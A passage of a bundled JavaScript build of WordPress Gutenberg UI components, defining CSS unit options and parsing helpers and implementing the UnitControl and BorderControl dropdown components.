32838 vw: {
32839 value: "vw",
32840 label: isWeb ? "vw" : (0, import_i18n21.__)("Viewport width (vw)"),
32841 a11yLabel: (0, import_i18n21.__)("Viewport width (vw)"),
32842 step: 0.1
32843 },
32844 vh: {
32845 value: "vh",
32846 label: isWeb ? "vh" : (0, import_i18n21.__)("Viewport height (vh)"),
32847 a11yLabel: (0, import_i18n21.__)("Viewport height (vh)"),
32848 step: 0.1
32849 },
32850 vmin: {
32851 value: "vmin",
32852 label: isWeb ? "vmin" : (0, import_i18n21.__)("Viewport smallest dimension (vmin)"),
32853 a11yLabel: (0, import_i18n21.__)("Viewport smallest dimension (vmin)"),
32854 step: 0.1
32855 },
32856 vmax: {
32857 value: "vmax",
32858 label: isWeb ? "vmax" : (0, import_i18n21.__)("Viewport largest dimension (vmax)"),
32859 a11yLabel: (0, import_i18n21.__)("Viewport largest dimension (vmax)"),
32860 step: 0.1
32861 },
32862 ch: {
32863 value: "ch",
32864 label: isWeb ? "ch" : (0, import_i18n21.__)("Width of the zero (0) character (ch)"),
32865 a11yLabel: (0, import_i18n21.__)("Width of the zero (0) character (ch)"),
32866 step: 0.01
32867 },
32868 ex: {
32869 value: "ex",
32870 label: isWeb ? "ex" : (0, import_i18n21.__)("x-height of the font (ex)"),
32871 a11yLabel: (0, import_i18n21.__)("x-height of the font (ex)"),
32872 step: 0.01
32873 },
32874 cm: {
32875 value: "cm",
32876 label: isWeb ? "cm" : (0, import_i18n21.__)("Centimeters (cm)"),
32877 a11yLabel: (0, import_i18n21.__)("Centimeters (cm)"),
32878 step: 1e-3
32879 },
32880 mm: {
32881 value: "mm",
32882 label: isWeb ? "mm" : (0, import_i18n21.__)("Millimeters (mm)"),
32883 a11yLabel: (0, import_i18n21.__)("Millimeters (mm)"),
32884 step: 0.1
32885 },
32886 in: {
32887 value: "in",
32888 label: isWeb ? "in" : (0, import_i18n21.__)("Inches (in)"),
32889 a11yLabel: (0, import_i18n21.__)("Inches (in)"),
32890 step: 1e-3
32891 },
32892 pc: {
32893 value: "pc",
32894 label: isWeb ? "pc" : (0, import_i18n21.__)("Picas (pc)"),
32895 a11yLabel: (0, import_i18n21.__)("Picas (pc)"),
32896 step: 1
32897 },
32898 pt: {
32899 value: "pt",
32900 label: isWeb ? "pt" : (0, import_i18n21.__)("Points (pt)"),
32901 a11yLabel: (0, import_i18n21.__)("Points (pt)"),
32902 step: 1
32903 },
32904 svw: {
32905 value: "svw",
32906 label: isWeb ? "svw" : (0, import_i18n21.__)("Small viewport width (svw)"),
32907 a11yLabel: (0, import_i18n21.__)("Small viewport width (svw)"),
32908 step: 0.1
32909 },
32910 svh: {
32911 value: "svh",
32912 label: isWeb ? "svh" : (0, import_i18n21.__)("Small viewport height (svh)"),
32913 a11yLabel: (0, import_i18n21.__)("Small viewport height (svh)"),
32914 step: 0.1
32915 },
32916 svi: {
32917 value: "svi",
32918 label: isWeb ? "svi" : (0, import_i18n21.__)("Viewport smallest size in the inline direction (svi)"),
32919 a11yLabel: (0, import_i18n21.__)("Small viewport width or height (svi)"),
32920 step: 0.1
32921 },
32922 svb: {
32923 value: "svb",
32924 label: isWeb ? "svb" : (0, import_i18n21.__)("Viewport smallest size in the block direction (svb)"),
32925 a11yLabel: (0, import_i18n21.__)("Small viewport width or height (svb)"),
32926 step: 0.1
32927 },
32928 svmin: {
32929 value: "svmin",
32930 label: isWeb ? "svmin" : (0, import_i18n21.__)("Small viewport smallest dimension (svmin)"),
32931 a11yLabel: (0, import_i18n21.__)("Small viewport smallest dimension (svmin)"),
32932 step: 0.1
32933 },
32934 lvw: {
32935 value: "lvw",
32936 label: isWeb ? "lvw" : (0, import_i18n21.__)("Large viewport width (lvw)"),
32937 a11yLabel: (0, import_i18n21.__)("Large viewport width (lvw)"),
32938 step: 0.1
32939 },
32940 lvh: {
32941 value: "lvh",
32942 label: isWeb ? "lvh" : (0, import_i18n21.__)("Large viewport height (lvh)"),
32943 a11yLabel: (0, import_i18n21.__)("Large viewport height (lvh)"),
32944 step: 0.1
32945 },
32946 lvi: {
32947 value: "lvi",
32948 label: isWeb ? "lvi" : (0, import_i18n21.__)("Large viewport width or height (lvi)"),
32949 a11yLabel: (0, import_i18n21.__)("Large viewport width or height (lvi)"),
32950 step: 0.1
32951 },
32952 lvb: {
32953 value: "lvb",
32954 label: isWeb ? "lvb" : (0, import_i18n21.__)("Large viewport width or height (lvb)"),
32955 a11yLabel: (0, import_i18n21.__)("Large viewport width or height (lvb)"),
32956 step: 0.1
32957 },
32958 lvmin: {
32959 value: "lvmin",
32960 label: isWeb ? "lvmin" : (0, import_i18n21.__)("Large viewport smallest dimension (lvmin)"),
32961 a11yLabel: (0, import_i18n21.__)("Large viewport smallest dimension (lvmin)"),
32962 step: 0.1
32963 },
32964 dvw: {
32965 value: "dvw",
32966 label: isWeb ? "dvw" : (0, import_i18n21.__)("Dynamic viewport width (dvw)"),
32967 a11yLabel: (0, import_i18n21.__)("Dynamic viewport width (dvw)"),
32968 step: 0.1
32969 },
32970 dvh: {
32971 value: "dvh",
32972 label: isWeb ? "dvh" : (0, import_i18n21.__)("Dynamic viewport height (dvh)"),
32973 a11yLabel: (0, import_i18n21.__)("Dynamic viewport height (dvh)"),
32974 step: 0.1
32975 },
32976 dvi: {
32977 value: "dvi",
32978 label: isWeb ? "dvi" : (0, import_i18n21.__)("Dynamic viewport width or height (dvi)"),
32979 a11yLabel: (0, import_i18n21.__)("Dynamic viewport width or height (dvi)"),
32980 step: 0.1
32981 },
32982 dvb: {
32983 value: "dvb",
32984 label: isWeb ? "dvb" : (0, import_i18n21.__)("Dynamic viewport width or height (dvb)"),
32985 a11yLabel: (0, import_i18n21.__)("Dynamic viewport width or height (dvb)"),
32986 step: 0.1
32987 },
32988 dvmin: {
32989 value: "dvmin",
32990 label: isWeb ? "dvmin" : (0, import_i18n21.__)("Dynamic viewport smallest dimension (dvmin)"),
32991 a11yLabel: (0, import_i18n21.__)("Dynamic viewport smallest dimension (dvmin)"),
32992 step: 0.1
32993 },
32994 dvmax: {
32995 value: "dvmax",
32996 label: isWeb ? "dvmax" : (0, import_i18n21.__)("Dynamic viewport largest dimension (dvmax)"),
32997 a11yLabel: (0, import_i18n21.__)("Dynamic viewport largest dimension (dvmax)"),
32998 step: 0.1
32999 },
33000 svmax: {
33001 value: "svmax",
33002 label: isWeb ? "svmax" : (0, import_i18n21.__)("Small viewport largest dimension (svmax)"),
33003 a11yLabel: (0, import_i18n21.__)("Small viewport largest dimension (svmax)"),
33004 step: 0.1
33005 },
33006 lvmax: {
33007 value: "lvmax",
33008 label: isWeb ? "lvmax" : (0, import_i18n21.__)("Large viewport largest dimension (lvmax)"),
33009 a11yLabel: (0, import_i18n21.__)("Large viewport largest dimension (lvmax)"),
33010 step: 0.1
33011 }
33012 };
33013 var ALL_CSS_UNITS = Object.values(allUnits);
33014 var CSS_UNITS = [allUnits.px, allUnits["%"], allUnits.em, allUnits.rem, allUnits.vw, allUnits.vh];
33015 var DEFAULT_UNIT = allUnits.px;
33016 function getParsedQuantityAndUnit(rawValue, fallbackUnit, allowedUnits) {
33017 const initialValue2 = fallbackUnit ? `${rawValue ?? ""}${fallbackUnit}` : rawValue;
33018 return parseQuantityAndUnitFromRawValue(initialValue2, allowedUnits);
33019 }
33020 function hasUnits(units) {
33021 return Array.isArray(units) && !!units.length;
33022 }
33023 function parseQuantityAndUnitFromRawValue(rawValue, allowedUnits = ALL_CSS_UNITS) {
33024 let trimmedValue;
33025 let quantityToReturn;
33026 if (typeof rawValue !== "undefined" || rawValue === null) {
33027 trimmedValue = `${rawValue}`.trim();
33028 const parsedQuantity = parseFloat(trimmedValue);
33029 quantityToReturn = !isFinite(parsedQuantity) ? void 0 : parsedQuantity;
33030 }
33031 const unitMatch = trimmedValue?.match(/[\d.\-\+]*\s*(.*)/);
33032 const matchedUnit = unitMatch?.[1]?.toLowerCase();
33033 let unitToReturn;
33034 if (hasUnits(allowedUnits)) {
33035 const match4 = allowedUnits.find((item2) => item2.value === matchedUnit);
33036 unitToReturn = match4?.value;
33037 } else {
33038 unitToReturn = DEFAULT_UNIT.value;
33039 }
33040 return [quantityToReturn, unitToReturn];
33041 }
33042 function getValidParsedQuantityAndUnit(rawValue, allowedUnits, fallbackQuantity, fallbackUnit) {
33043 const [parsedQuantity, parsedUnit] = parseQuantityAndUnitFromRawValue(rawValue, allowedUnits);
33044 const quantityToReturn = parsedQuantity ?? fallbackQuantity;
33045 let unitToReturn = parsedUnit || fallbackUnit;
33046 if (!unitToReturn && hasUnits(allowedUnits)) {
33047 unitToReturn = allowedUnits[0].value;
33048 }
33049 return [quantityToReturn, unitToReturn];
33050 }
33051 function filterUnitsWithSettings(allowedUnitValues = [], availableUnits) {
33052 return Array.isArray(availableUnits) ? availableUnits.filter((unit) => allowedUnitValues.includes(unit.value)) : [];
33053 }
33054 var useCustomUnits = ({
33055 units = ALL_CSS_UNITS,
33056 availableUnits = [],
33057 defaultValues
33058 }) => {
33059 const customUnitsToReturn = filterUnitsWithSettings(availableUnits, units);
33060 if (!defaultValues) {
33061 return customUnitsToReturn;
33062 }
33063 return customUnitsToReturn.map((unit) => {
33064 const [defaultValue2] = defaultValues[unit.value] ? parseQuantityAndUnitFromRawValue(defaultValues[unit.value]) : [];
33065 return {
33066 ...unit,
33067 default: defaultValue2
33068 };
33069 });
33070 };
33071 function getUnitsWithCurrentUnit(rawValue, legacyUnit, units = ALL_CSS_UNITS) {
33072 const unitsToReturn = Array.isArray(units) ? [...units] : [];
33073 const [, currentUnit] = getParsedQuantityAndUnit(rawValue, legacyUnit, ALL_CSS_UNITS);
33074 if (currentUnit && !unitsToReturn.some((unit) => unit.value === currentUnit)) {
33075 if (allUnits[currentUnit]) {
33076 unitsToReturn.unshift(allUnits[currentUnit]);
33077 }
33078 }
33079 return unitsToReturn;
33080 }
33081
33082 // packages/components/build-module/border-control/border-control-dropdown/hook.mjs
33083 function useBorderControlDropdown(props) {
33084 const {
33085 border,
33086 className: className2,
33087 colors = [],
33088 enableAlpha = false,
33089 enableStyle = true,
33090 onChange,
33091 previousStyleSelection,
33092 size: size3 = "default",
33093 __experimentalIsRenderedInSidebar = false,
33094 ...otherProps
33095 } = useContextSystem(props, "BorderControlDropdown");
33096 const [widthValue] = parseQuantityAndUnitFromRawValue(border?.width);
33097 const hasZeroWidth = widthValue === 0;
33098 const onColorChange = (color2) => {
33099 const style2 = border?.style === "none" ? previousStyleSelection : border?.style;
33100 const width = hasZeroWidth && !!color2 ? "1px" : border?.width;
33101 onChange({
33102 color: color2,
33103 style: style2,
33104 width
33105 });
33106 };
33107 const onStyleChange = (style2) => {
33108 const width = hasZeroWidth && !!style2 ? "1px" : border?.width;
33109 onChange({
33110 ...border,
33111 style: style2,
33112 width
33113 });
33114 };
33115 const onReset = () => {
33116 onChange({
33117 ...border,
33118 color: void 0,
33119 style: void 0
33120 });
33121 };
33122 const cx3 = useCx();
33123 const classes = (0, import_element83.useMemo)(() => {
33124 return cx3(borderControlDropdown, className2);
33125 }, [className2, cx3]);
33126 const indicatorClassName = (0, import_element83.useMemo)(() => {
33127 return cx3(borderColorIndicator);
33128 }, [cx3]);
33129 const indicatorWrapperClassName = (0, import_element83.useMemo)(() => {
33130 return cx3(colorIndicatorWrapper(border, size3));
33131 }, [border, cx3, size3]);
33132 const popoverControlsClassName = (0, import_element83.useMemo)(() => {
33133 return cx3(borderControlPopoverControls);
33134 }, [cx3]);
33135 const popoverContentClassName = (0, import_element83.useMemo)(() => {
33136 return cx3(borderControlPopoverContent);
33137 }, [cx3]);
33138 const resetButtonWrapperClassName = (0, import_element83.useMemo)(() => {
33139 return cx3(resetButtonWrapper);
33140 }, [cx3]);
33141 return {
33142 ...otherProps,
33143 border,
33144 className: classes,
33145 colors,
33146 enableAlpha,
33147 enableStyle,
33148 indicatorClassName,
33149 indicatorWrapperClassName,
33150 onColorChange,
33151 onStyleChange,
33152 onReset,
33153 popoverContentClassName,
33154 popoverControlsClassName,
33155 resetButtonWrapperClassName,
33156 size: size3,
33157 __experimentalIsRenderedInSidebar
33158 };
33159 }
33160
33161 // packages/components/build-module/border-control/border-control-dropdown/component.mjs
33162 var import_jsx_runtime147 = __toESM(require_jsx_runtime(), 1);
33163 var getAriaLabelColorValue = (colorValue) => {
33164 return colorValue.replace(/^var\((.+)\)$/, "$1");
33165 };
33166 var getColorObject = (colorValue, colors) => {
33167 if (!colorValue || !colors) {
33168 return;
33169 }
33170 if (isMultiplePaletteArray(colors)) {
33171 let matchedColor;
33172 colors.some((origin) => origin.colors.some((color2) => {
33173 if (color2.color === colorValue) {
33174 matchedColor = color2;
33175 return true;
33176 }
33177 return false;
33178 }));
33179 return matchedColor;
33180 }
33181 return colors.find((color2) => color2.color === colorValue);
33182 };
33183 var getToggleAriaLabel = (colorValue, colorObject, style2, isStyleEnabled) => {
33184 if (isStyleEnabled) {
33185 if (colorObject) {
33186 const ariaLabelValue = getAriaLabelColorValue(colorObject.color);
33187 return style2 ? (0, import_i18n22.sprintf)(
33188 // translators: 1: The name of the color e.g. "vivid red". 2: The color's hex code e.g.: "#f00:". 3: The current border style selection e.g. "solid".
33189 (0, import_i18n22.__)('Border color and style picker. The currently selected color is called "%1$s" and has a value of "%2$s". The currently selected style is "%3$s".'),
33190 colorObject.name,
33191 ariaLabelValue,
33192 style2
33193 ) : (0, import_i18n22.sprintf)(
33194 // translators: 1: The name of the color e.g. "vivid red". 2: The color's hex code e.g.: "#f00:".
33195 (0, import_i18n22.__)('Border color and style picker. The currently selected color is called "%1$s" and has a value of "%2$s".'),
33196 colorObject.name,
33197 ariaLabelValue
33198 );
33199 }
33200 if (colorValue) {
33201 const ariaLabelValue = getAriaLabelColorValue(colorValue);
33202 return style2 ? (0, import_i18n22.sprintf)(
33203 // translators: 1: The color's hex code e.g.: "#f00:". 2: The current border style selection e.g. "solid".
33204 (0, import_i18n22.__)('Border color and style picker. The currently selected color has a value of "%1$s". The currently selected style is "%2$s".'),
33205 ariaLabelValue,
33206 style2
33207 ) : (0, import_i18n22.sprintf)(
33208 // translators: %s: The color's hex code e.g: "#f00".
33209 (0, import_i18n22.__)('Border color and style picker. The currently selected color has a value of "%s".'),
33210 ariaLabelValue
33211 );
33212 }
33213 return (0, import_i18n22.__)("Border color and style picker.");
33214 }
33215 if (colorObject) {
33216 return (0, import_i18n22.sprintf)(
33217 // translators: 1: The name of the color e.g. "vivid red". 2: The color's hex code e.g: "#f00".
33218 (0, import_i18n22.__)('Border color picker. The currently selected color is called "%1$s" and has a value of "%2$s".'),
33219 colorObject.name,
33220 getAriaLabelColorValue(colorObject.color)
33221 );
33222 }
33223 if (colorValue) {
33224 return (0, import_i18n22.sprintf)(
33225 // translators: %s: The color's hex code e.g: "#f00".
33226 (0, import_i18n22.__)('Border color picker. The currently selected color has a value of "%s".'),
33227 getAriaLabelColorValue(colorValue)
33228 );
33229 }
33230 return (0, import_i18n22.__)("Border color picker.");
33231 };
33232 var BorderControlDropdown = (props, forwardedRef) => {
33233 const {
33234 __experimentalIsRenderedInSidebar,
33235 border,
33236 colors,
33237 disableCustomColors,
33238 enableAlpha,
33239 enableStyle,
33240 indicatorClassName,
33241 indicatorWrapperClassName,
33242 isStyleSettable,
33243 onReset,
33244 onColorChange,
33245 onStyleChange,
33246 popoverContentClassName,
33247 popoverControlsClassName,
33248 resetButtonWrapperClassName,
33249 size: size3,
33250 __unstablePopoverProps,
33251 ...otherProps
33252 } = useBorderControlDropdown(props);
33253 const {
33254 color: color2,
33255 style: style2
33256 } = border || {};
33257 const colorObject = getColorObject(color2, colors);
33258 const toggleAriaLabel = getToggleAriaLabel(color2, colorObject, style2, enableStyle);
33259 const enableResetButton = color2 || style2 && style2 !== "none";
33260 const dropdownPosition = __experimentalIsRenderedInSidebar ? "bottom left" : void 0;
33261 const renderToggle = ({
33262 onToggle
33263 }) => /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(button_default, {
33264 onClick: onToggle,
33265 variant: "tertiary",
33266 "aria-label": toggleAriaLabel,
33267 tooltipPosition: dropdownPosition,
33268 label: (0, import_i18n22.__)("Border color and style picker"),
33269 showTooltip: true,
33270 __next40pxDefaultSize: size3 === "__unstable-large",
33271 children: /* @__PURE__ */ (0, import_jsx_runtime147.jsx)("span", {
33272 className: indicatorWrapperClassName,
33273 children: /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(color_indicator_default, {
33274 className: indicatorClassName,
33275 colorValue: color2
33276 })
33277 })
33278 });
33279 const renderContent = () => /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(import_jsx_runtime147.Fragment, {
33280 children: /* @__PURE__ */ (0, import_jsx_runtime147.jsxs)(dropdown_content_wrapper_default, {
33281 paddingSize: "medium",
33282 children: [/* @__PURE__ */ (0, import_jsx_runtime147.jsxs)(component_default18, {
33283 className: popoverControlsClassName,
33284 spacing: 6,
33285 children: [/* @__PURE__ */ (0, import_jsx_runtime147.jsx)(color_palette_default, {
33286 className: popoverContentClassName,
33287 value: color2,
33288 onChange: onColorChange,
33289 colors,
33290 disableCustomColors,
33291 __experimentalIsRenderedInSidebar,
33292 clearable: false,
33293 enableAlpha
33294 }), enableStyle && isStyleSettable && /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(component_default16, {
33295 label: (0, import_i18n22.__)("Style"),
33296 value: style2,
33297 onChange: onStyleChange
33298 })]
33299 }), /* @__PURE__ */ (0, import_jsx_runtime147.jsx)("div", {
33300 className: resetButtonWrapperClassName,
33301 children: /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(button_default, {
33302 variant: "tertiary",
33303 onClick: () => {
33304 onReset();
33305 },
33306 disabled: !enableResetButton,
33307 accessibleWhenDisabled: true,
33308 __next40pxDefaultSize: true,
33309 children: (0, import_i18n22.__)("Reset")
33310 })
33311 })]
33312 })
33313 });
33314 return /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(dropdown_default, {
33315 renderToggle,
33316 renderContent,
33317 popoverProps: {
33318 ...__unstablePopoverProps
33319 },
33320 ...otherProps,
33321 ref: forwardedRef
33322 });
33323 };
33324 var ConnectedBorderControlDropdown = contextConnect(BorderControlDropdown, "BorderControlDropdown");
33325 var component_default20 = ConnectedBorderControlDropdown;
33326
33327 // packages/components/build-module/unit-control/index.mjs
33328 var import_deprecated8 = __toESM(require_deprecated(), 1);
33329 var import_element85 = __toESM(require_element(), 1);
33330 var import_i18n23 = __toESM(require_i18n(), 1);
33331
33332 // packages/components/build-module/unit-control/unit-select-control.mjs
33333 var import_element84 = __toESM(require_element(), 1);
33334 var import_jsx_runtime148 = __toESM(require_jsx_runtime(), 1);
33335 function UnitSelectControl({
33336 className: className2,
33337 isUnitSelectTabbable: isTabbable2 = true,
33338 onChange,
33339 size: size3 = "default",
33340 unit = "px",
33341 units = CSS_UNITS,
33342 ...props
33343 }, ref) {
33344 if (!hasUnits(units) || units?.length === 1) {
33345 return /* @__PURE__ */ (0, import_jsx_runtime148.jsx)(UnitLabel, {
33346 className: "components-unit-control__unit-label",
33347 selectSize: size3,
33348 children: unit
33349 });
33350 }
33351 const handleOnChange = (event) => {
33352 const {
33353 value: unitValue
33354 } = event.target;
33355 const data = units.find((option) => option.value === unitValue);
33356 onChange?.(unitValue, {
33357 event,
33358 data
33359 });
33360 };
33361 const classes = clsx_default("components-unit-control__select", className2);
33362 return /* @__PURE__ */ (0, import_jsx_runtime148.jsx)(UnitSelect, {
33363 ref,
33364 className: classes,
33365 onChange: handleOnChange,
33366 selectSize: size3,
33367 tabIndex: isTabbable2 ? void 0 : -1,
33368 value: unit,
33369 ...props,
33370 children: units.map((option) => /* @__PURE__ */ (0, import_jsx_runtime148.jsx)("option", {
33371 value: option.value,
33372 children: option.label
33373 }, option.value))
33374 });
33375 }
33376 var unit_select_control_default = (0, import_element84.forwardRef)(UnitSelectControl);
33377
33378 // packages/components/build-module/unit-control/index.mjs
33379 var import_jsx_runtime149 = __toESM(require_jsx_runtime(), 1);
33380 function UnforwardedUnitControl(unitControlProps, forwardedRef) {
33381 const {
33382 __unstableStateReducer,
33383 autoComplete = "off",
33384 // @ts-expect-error Ensure that children is omitted from restProps
33385 children,
33386 className: className2,
33387 disabled = false,
33388 disableUnits = false,
33389 isPressEnterToChange = false,
33390 isResetValueOnUnitChange = false,
33391 isUnitSelectTabbable = true,
33392 label,
33393 onChange: onChangeProp,
33394 onUnitChange,
33395 size: size3 = "default",
33396 unit: unitProp,
33397 units: unitsProp = CSS_UNITS,
33398 value: valueProp,
33399 onFocus: onFocusProp,
33400 __shouldNotWarnDeprecated36pxSize,
33401 ...props
33402 } = useDeprecated36pxDefaultSizeProp(unitControlProps);
33403 maybeWarnDeprecated36pxSize({
33404 componentName: "UnitControl",
33405 __next40pxDefaultSize: props.__next40pxDefaultSize,
33406 size: size3,
33407 __shouldNotWarnDeprecated36pxSize
33408 });
33409 if ("unit" in unitControlProps) {
33410 (0, import_deprecated8.default)("UnitControl unit prop", {
33411 since: "5.6",
33412 hint: "The unit should be provided within the `value` prop.",
33413 version: "6.2"
33414 });
33415 }
33416 const nonNullValueProp = valueProp ?? void 0;
33417 const [units, reFirstCharacterOfUnits] = (0, import_element85.useMemo)(() => {
33418 const list = getUnitsWithCurrentUnit(nonNullValueProp, unitProp, unitsProp);
33419 const [{
33420 value: firstUnitValue = ""
33421 } = {}, ...rest] = list;
33422 const firstCharacters = rest.reduce((carry, {
33423 value
33424 }) => {
33425 const first = escapeRegExp(value?.substring(0, 1) || "");
33426 return carry.includes(first) ? carry : `${carry}|${first}`;
33427 }, escapeRegExp(firstUnitValue.substring(0, 1)));
33428 return [list, new RegExp(`^(?:${firstCharacters})$`, "i")];
33429 }, [nonNullValueProp, unitProp, unitsProp]);
33430 const [parsedQuantity, parsedUnit] = getParsedQuantityAndUnit(nonNullValueProp, unitProp, units);
33431 const [unit, setUnit] = use_controlled_state_default(units.length === 1 ? units[0].value : unitProp, {
33432 initial: parsedUnit,
33433 fallback: ""
33434 });
33435 (0, import_element85.useEffect)(() => {
33436 if (parsedUnit !== void 0) {
33437 setUnit(parsedUnit);
33438 }
33439 }, [parsedUnit, setUnit]);
33440 const classes = clsx_default(
33441 "components-unit-control",
33442 // This class is added for legacy purposes to maintain it on the outer
33443 // wrapper. See: https://github.com/WordPress/gutenberg/pull/45139
33444 "components-unit-control-wrapper",
33445 className2
33446 );
33447 const handleOnQuantityChange = (nextQuantityValue, changeProps) => {
33448 if (nextQuantityValue === "" || typeof nextQuantityValue === "undefined" || nextQuantityValue === null) {
33449 onChangeProp?.("", changeProps);
33450 return;
33451 }
33452 const onChangeValue = getValidParsedQuantityAndUnit(nextQuantityValue, units, parsedQuantity, unit).join("");
33453 onChangeProp?.(onChangeValue, changeProps);
33454 };
33455 const handleOnUnitChange = (nextUnitValue, changeProps) => {
33456 const {
33457 data
33458 } = changeProps;
33459 let nextValue = `${parsedQuantity ?? ""}${nextUnitValue}`;
33460 if (isResetValueOnUnitChange && data?.default !== void 0) {
33461 nextValue = `${data.default}${nextUnitValue}`;
33462 }
33463 onChangeProp?.(nextValue, changeProps);
33464 onUnitChange?.(nextUnitValue, changeProps);
33465 setUnit(nextUnitValue);
33466 };
33467 let handleOnKeyDown;
33468 if (!disableUnits && isUnitSelectTabbable && units.length) {
33469 handleOnKeyDown = (event) => {
33470 props.onKeyDown?.(event);
33471 if (!event.metaKey && !event.ctrlKey && reFirstCharacterOfUnits.test(event.key)) {
33472 refInputSuffix.current?.focus();
33473 }
33474 };
33475 }
33476 const refInputSuffix = (0, import_element85.useRef)(null);
33477 const inputSuffix = !disableUnits ? /* @__PURE__ */ (0, import_jsx_runtime149.jsx)(unit_select_control_default, {
33478 ref: refInputSuffix,
33479 "aria-label": (0, import_i18n23.__)("Select unit"),
33480 disabled,
33481 isUnitSelectTabbable,
33482 onChange: handleOnUnitChange,
33483 size: ["small", "compact"].includes(size3) || size3 === "default" && !props.__next40pxDefaultSize ? "small" : "default",
33484 unit,
33485 units,
33486 onFocus: onFocusProp,
33487 onBlur: unitControlProps.onBlur
33488 }) : null;
33489 let step = props.step;
33490 if (!step && units) {
33491 const activeUnit = units.find((option) => option.value === unit);
33492 step = activeUnit?.step ?? 1;
33493 }
33494 return /* @__PURE__ */ (0, import_jsx_runtime149.jsx)(ValueInput, {
33495 ...props,
33496 __shouldNotWarnDeprecated36pxSize: true,
33497 autoComplete,
33498 className: classes,
33499 disabled,
33500 spinControls: "none",
33501 isPressEnterToChange,
33502 label,
33503 onKeyDown: handleOnKeyDown,
33504 onChange: handleOnQuantityChange,
33505 ref: forwardedRef,
33506 size: size3,
33507 suffix: inputSuffix,
33508 type: isPressEnterToChange ? "text" : "number",
33509 value: parsedQuantity ?? "",
33510 step,
33511 onFocus: onFocusProp,
33512 __unstableStateReducer
33513 });
33514 }
33515 var UnitControl = (0, import_element85.forwardRef)(UnforwardedUnitControl);
33516 UnitControl.displayName = "UnitControl";
33517 var unit_control_default = UnitControl;
33518
33519 // packages/components/build-module/border-control/border-control/hook.mjs
33520 var import_element86 = __toESM(require_element(), 1);
33521 var isValidBorder = (border) => {
33522 const hasWidth = border?.width !== void 0 && border.width !== "";
33523 const hasColor = border?.color !== void 0;
33524 return hasWidth || hasColor;
33525 };
33526 function useBorderControl(props) {
33527 const {
33528 className: className2,
33529 colors = [],
33530 isCompact,
33531 onChange,
33532 enableAlpha = true,
33533 enableStyle = true,
33534 shouldSanitizeBorder = true,
33535 size: size3 = "default",
33536 value: border,
33537 width,
33538 __experimentalIsRenderedInSidebar = false,
33539 __next40pxDefaultSize,
33540 __shouldNotWarnDeprecated36pxSize,
33541 ...otherProps
33542 } = useContextSystem(props, "BorderControl");
33543 maybeWarnDeprecated36pxSize({
33544 componentName: "BorderControl",
33545 __next40pxDefaultSize,
33546 size: size3,
33547 __shouldNotWarnDeprecated36pxSize
33548 });
33549 const computedSize = size3 === "default" && __next40pxDefaultSize ? "__unstable-large" : size3;
33550 const [widthValue, originalWidthUnit] = parseQuantityAndUnitFromRawValue(border?.width);
33551 const widthUnit = originalWidthUnit || "px";
33552 const hadPreviousZeroWidth = widthValue === 0;
33553 const [colorSelection, setColorSelection] = (0, import_element86.useState)();
33554 const [styleSelection, setStyleSelection] = (0, import_element86.useState)();
33555 const isStyleSettable = shouldSanitizeBorder ? isValidBorder(border) : true;
33556 const onBorderChange = (0, import_element86.useCallback)((newBorder) => {
33557 if (shouldSanitizeBorder && !isValidBorder(newBorder)) {
33558 onChange(void 0);
33559 return;
33560 }
33561 onChange(newBorder);
33562 }, [onChange, shouldSanitizeBorder]);
33563 const onWidthChange = (0, import_element86.useCallback)((newWidth) => {
33564 const newWidthValue = newWidth === "" ? void 0 : newWidth;
33565 const [parsedValue] = parseQuantityAndUnitFromRawValue(newWidth);
33566 const hasZeroWidth = parsedValue === 0;
33567 const updatedBorder = {
33568 ...border,
33569 width: newWidthValue
33570 };
33571 if (hasZeroWidth && !hadPreviousZeroWidth) {
33572 setColorSelection(border?.color);
33573 setStyleSelection(border?.style);
33574 updatedBorder.color = void 0;
33575 updatedBorder.style = "none";
33576 }
33577 if (!hasZeroWidth && hadPreviousZeroWidth) {
33578 if (updatedBorder.color === void 0) {
33579 updatedBorder.color = colorSelection;
33580 }
33581 if (updatedBorder.style === "none") {
33582 updatedBorder.style = styleSelection;
33583 }
33584 }
33585 onBorderChange(updatedBorder);
33586 }, [border, hadPreviousZeroWidth, colorSelection, styleSelection, onBorderChange]);
33587 const onSliderChange = (0, import_element86.useCallback)((value) => {
33588 onWidthChange(`${value}${widthUnit}`);
33589 }, [onWidthChange, widthUnit]);
33590 const cx3 = useCx();
33591 const classes = (0, import_element86.useMemo)(() => {
33592 return cx3(borderControl, className2);
33593 }, [className2, cx3]);
33594 let wrapperWidth2 = width;
33595 if (isCompact) {
33596 wrapperWidth2 = size3 === "__unstable-large" ? "116px" : "90px";
33597 }
33598 const innerWrapperClassName = (0, import_element86.useMemo)(() => {
33599 const widthStyle = !!wrapperWidth2 && wrapperWidth;
33600 const heightStyle = wrapperHeight(computedSize);
33601 return cx3(innerWrapper(), widthStyle, heightStyle);
33602 }, [wrapperWidth2, cx3, computedSize]);
33603 const sliderClassName = (0, import_element86.useMemo)(() => {
33604 return cx3(borderSlider());
33605 }, [cx3]);
33606 return {
33607 ...otherProps,
33608 className: classes,
33609 colors,
33610 enableAlpha,
33611 enableStyle,
33612 innerWrapperClassName,
33613 inputWidth: wrapperWidth2,
33614 isStyleSettable,
33615 onBorderChange,
33616 onSliderChange,
33617 onWidthChange,
33618 previousStyleSelection: styleSelection,
33619 sliderClassName,
33620 value: border,
33621 widthUnit,
33622 widthValue,
33623 size: computedSize,
33624 __experimentalIsRenderedInSidebar,
33625 __next40pxDefaultSize
33626 };
33627 }
33628
33629 // packages/components/build-module/border-control/border-control/component.mjs
33630 var import_jsx_runtime150 = __toESM(require_jsx_runtime(), 1);
33631 var BorderLabel = (props) => {
33632 const {
33633 label,
33634 hideLabelFromVision
33635 } = props;
33636 if (!label) {
33637 return null;
33638 }
33639 return hideLabelFromVision ? /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(component_default2, {
33640 as: "legend",
33641 children: label
33642 }) : /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(StyledLabel, {
33643 as: "legend",
33644 children: label
33645 });
33646 };
33647 var UnconnectedBorderControl = (props, forwardedRef) => {
33648 const {
33649 __next40pxDefaultSize = false,
33650 colors,
33651 disableCustomColors,
33652 disableUnits,
33653 enableAlpha,
33654 enableStyle,
33655 hideLabelFromVision,
33656 innerWrapperClassName,
33657 inputWidth,
33658 isStyleSettable,
33659 label,
33660 onBorderChange,
33661 onSliderChange,
